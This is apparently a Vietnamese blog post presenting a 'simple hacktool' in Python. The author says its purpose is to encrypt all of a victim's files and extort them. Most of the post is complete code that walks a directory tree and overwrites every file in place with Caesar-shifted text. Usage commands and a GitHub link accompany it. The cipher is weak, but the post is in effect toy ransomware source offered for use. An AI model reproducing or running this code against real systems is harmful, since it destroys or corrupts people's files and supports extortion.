Bạn có chắc chắn muốn xóa bài viết này không ?
Bạn có chắc chắn muốn xóa bình luận này không ?
Simple hacktools with Python - Làm giàu không khó
Mục tiêu
Mình muốn làm một cái tool xinh xắn đáng yêu với mục đích mã hóa toàn bộ file của victim, sau đó tống tiền bắt cóc
Chọn cipher:
Vì đây là một tool đơn giản để nghịch chơi nên mình chọn Caesar Cipher¹ để dễ làm.
Giải thích một cách đơn giản thì Cipher này sẽ dịch chuyển kí tự theo key.
Ví dụ: key = 1 thì a -> b, b -> c etc.
Encrypt text:
def encrypt(plaintext, key):
cyphertext = ''
for character in plaintext:
if character.isalpha():
number = ord(character)
number += key%26
if character.isupper():
if number > ord('Z'):
number -= 26
elif number < ord('A'):
number += 26
elif character.islower():
if number > ord('z'):
number -= 26
elif number < ord('a'):
number += 26
character = chr(number)
cyphertext += character
return cyphertext
Encrypt file:
def caesar(input_file, key):
text = open(input_file,'r',encoding="utf8").read()
output_file = open(input_file, 'w', encoding= "utf-8")
cyphertext = encrypt(text, key)
output_file.write(cyphertext)
Get File from directory:
def get_file(path):
files = []
for r, d, f in os.walk(path):
for file in f:
files.append(os.path.join(r, file))
return files
Main:
if __name__ == '__main__':
try:
path = sys.argv[1]
key = int(sys.argv[2])
for file in get_file(path):
caesar(file,key)
except Exception as e:
print("Something's wrong! Check your input again!\nError: ")
print(e)
Wait ...
Để thêm một chút màu mè, mình sẽ thêm progress bar để đếm thời gian của tasks và cũng nhìn ... ngầu hơn
#Refactor caesar
def caesar(input_file, key):
text = open(input_file,'r',encoding="utf8").read()
output_file = open(input_file, 'w', encoding= "utf-8")
for k in tqdm(range(1)): #Which will make progress bả
print("") #Make color purpose
cyphertext = encrypt(text, key)
output_file.write(cyphertext)
Final
The original file:
The unhealthy swamp advertises. The aardvark detaches the model platform behind a misuse.
The worst impairs the crossed resident inside the backbone. A second lecture retracts across a hotel.
The encrypt file:
Ftq gztqmxftk eimyb mphqdfueqe. Ftq mmdphmdw pqfmotqe ftq yapqx bxmfrady nqtuzp m yuegeq.
Ftq iadef uybmude ftq odaeeqp dqeupqzf uzeupq ftq nmownazq. M eqoazp xqofgdq dqfdmofe modaee m tafqx.
Usage:
Requirements: tqdm library - pip install tqdm | pip install -r requirements.txt
Notes: Nếu bạn không muốn chạy progress bar và cũng không muốn tải tqdm library thì refactor lại def caesar. Xóa vòng lặp đi là được.
Command: python SimpleHackTools.py Directory_Address Key_Number
Example: python SimpleHackTools.py TestEnCrypt 1000
Github: ~> https://github.com/PhiHuyHoang/SimplePythonHacktool
Have Fun!
References:





